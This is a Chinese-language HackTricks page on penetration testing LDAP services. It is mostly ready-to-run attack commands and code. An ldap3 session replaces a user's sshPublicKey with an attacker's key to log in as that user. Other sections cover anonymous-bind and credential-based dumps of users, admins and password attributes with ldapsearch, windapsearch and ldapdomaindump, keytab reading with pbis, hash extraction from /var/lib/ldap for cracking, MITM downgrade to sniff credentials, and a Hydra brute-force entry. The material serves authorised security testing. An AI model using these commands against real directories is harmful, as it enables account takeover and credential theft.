hacktricks/network-services-pentesting/pentesting-ldap.md

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# 389, 636, 3268, 3269 - LDAP渗透测试
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<details>
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</details>
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## 基本信息
摘自:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAP轻量级目录访问协议是一种软件协议用于使任何人都能够在网络中**定位**组织、个人和其他**资源**如文件和设备无论是在公共互联网上还是在企业内网上。LDAP是Directory Access ProtocolDAP的"轻量级"(代码量更少)版本。
一个LDAP目录可以在许多服务器之间**分布**。每个服务器都可以有一个总目录的**复制**版本,该版本会定期进行**同步**。一个LDAP服务器被称为目录系统代理DSA。接收到用户请求的LDAP服务器负责该请求必要时将其传递给其他DSA但确保为用户提供一个协调的单一响应。
一个LDAP目录在组织上是一个简单的"树"层次结构,包括以下级别:
* 根目录(树的起点或源头),它分支出去到
* 各个国家,每个国家又分支出去到
* 组织,它们又分支出去到
* 组织单位(部门、部门等),它们又分支出去到(包括条目)
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* 个人(包括人员、文件和共享资源,如打印机)
**默认端口:**389和636ldaps。全局目录ActiveDirectory中的LDAP默认在端口3268和3269上可用于LDAPS。
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP 数据交换格式
LDIFLDAP 数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* 第1-3行定义了顶级域local
* 第5-8行定义了一级域moneycorpmoneycorp.local
* 第10-16行定义了两个组织单位dev和sales
* 第18-26行创建了一个域对象并为其分配了带有值的属性
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## 写入数据
请注意,如果您可以修改值,您可能能够执行一些非常有趣的操作。例如,想象一下,如果您**可以更改用户或任何用户的"sshPublicKey"信息**。如果这个属性存在,那么很有可能**ssh正在从LDAP读取公钥**。如果您可以修改用户的公钥即使在ssh中没有启用密码认证您**也将能够以该用户身份登录**。
```bash
>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
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>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
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## 嗅探明文凭证
如果LDAP未使用SSL你可以在网络中**嗅探明文凭证**。
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此外,你可以在**LDAP服务器和客户端之间**的网络中执行**MITM**攻击。在这里,你可以进行**降级攻击**,使客户端使用**明文凭证**登录。
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**如果使用了SSL**,你可以尝试执行上述的**MITM**攻击,但提供一个**假证书**,如果**用户接受了它**,你就能降级认证方法并再次看到凭证。
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## 匿名访问
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### 绕过TLS SNI检查
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)仅通过使用任意域名如company.com访问LDAP服务器作者能够作为匿名用户联系LDAP服务并提取信息
```bash
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ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
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### LDAP匿名绑定
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经认证的攻击者**检索域中的信息,例如用户、组、计算机的完整列表,用户账户属性,以及域密码策略。这是一种**遗留配置**自Windows Server 2003起只有经过认证的用户才被允许发起LDAP请求。\
然而,管理员可能需要**为特定应用程序设置允许匿名绑定**并且无意中提供了超出预期的访问权限从而使未经认证的用户能够访问AD中的所有对象。
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## 有效凭证
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如果您拥有登录LDAP服务器的有效凭证您可以使用以下工具导出有关域管理员的所有信息
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[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ldap)
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## 枚举
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### 自动化
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使用此方法,您将能够查看**公共信息**(如域名)****
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```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
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### Python
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<details>
<summary>查看使用 Python 进行 LDAP 枚举</summary>
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您可以尝试**使用或不使用凭证通过 Python 枚举 LDAP**`pip3 install ldap3`
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首先尝试**不使用**凭证连接:
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```bash
>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
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>>> connection.bind()
True
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>>> server.info
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```
如果响应是`True`如前面的例子所示你可以从以下位置获取LDAP如**命名上下文**或**域名**)服务器的一些**有趣数据**
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```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
```
```markdown
一旦你有了命名上下文,你就可以进行一些更加令人兴奋的查询。这个简单的查询应该会显示目录中的所有对象:
```
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```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
或者**导出**整个ldap
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
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```
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</details>
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### windapsearch
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[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* 是一个 Python 脚本,通过使用 LDAP 查询,可以有效地从 Windows 域中**枚举用户、组和计算机**。
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```bash
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# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
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```
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### ldapsearch
检查空凭证或您的凭证是否有效:
```bash
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ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
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# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
```
如果你发现某些内容显示“_bind must be completed_”意味着凭证不正确。
你可以使用以下方法从一个域中提取**所有信息**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
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-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
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提取**用户**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
提取**computers**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**我的信息**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Domain Admins**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**域用户**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Enterprise Admins**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取**管理员**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Remote Desktop Group**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
要查看您是否有权访问任何密码,您可以在执行其中一个查询后使用 grep
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
请注意,您在这里找到的密码可能不是真实的密码...
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#### pbis
您可以从这里下载 **pbis**[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在 `/opt/pbis`。\
**Pbis** 允许您轻松获取基本信息:
```bash
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#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
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#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
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#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
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echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
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## 图形界面
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### Apache Directory
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[**从这里下载 Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。你可以在[这里找到如何使用这个工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
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### jxplorer
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你可以在这里下载带有 LDAP 服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
默认安装在_/opt/jxplorer_
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![](<../.gitbook/assets/image (22) (1).png>)
### Godap
你可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
## 通过 kerberos 进行认证
使用 `ldapsearch`,你可以通过 `-Y GSSAPI` 参数**使用 kerberos 进行认证**,而不是通过 **NTLM**
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## POST
如果你能访问包含数据库的文件(可能在 _/var/lib/ldap_ 中)。你可以使用以下方法提取哈希:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
您可以将密码哈希(从 '{SSHA}' 到 'structural',不添加 'structural'提供给john。
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### 配置文件
* 通用
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 服务器
* V3.sas.oc
* Microsoft Active Directory 服务器
* msadClassesAttrs.ldif
* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP 目录服务器
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
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* 75sas.ldif
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## HackTricks 自动命令
```
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Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
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https://book.hacktricks.xyz/pentesting/pentesting-ldap
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Entry_2:
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Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
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Entry_3:
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Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
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Entry_4:
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Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
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Entry_5:
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Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-13 15:45:07 +00:00
Entry_6:
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Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
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<details>
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</details>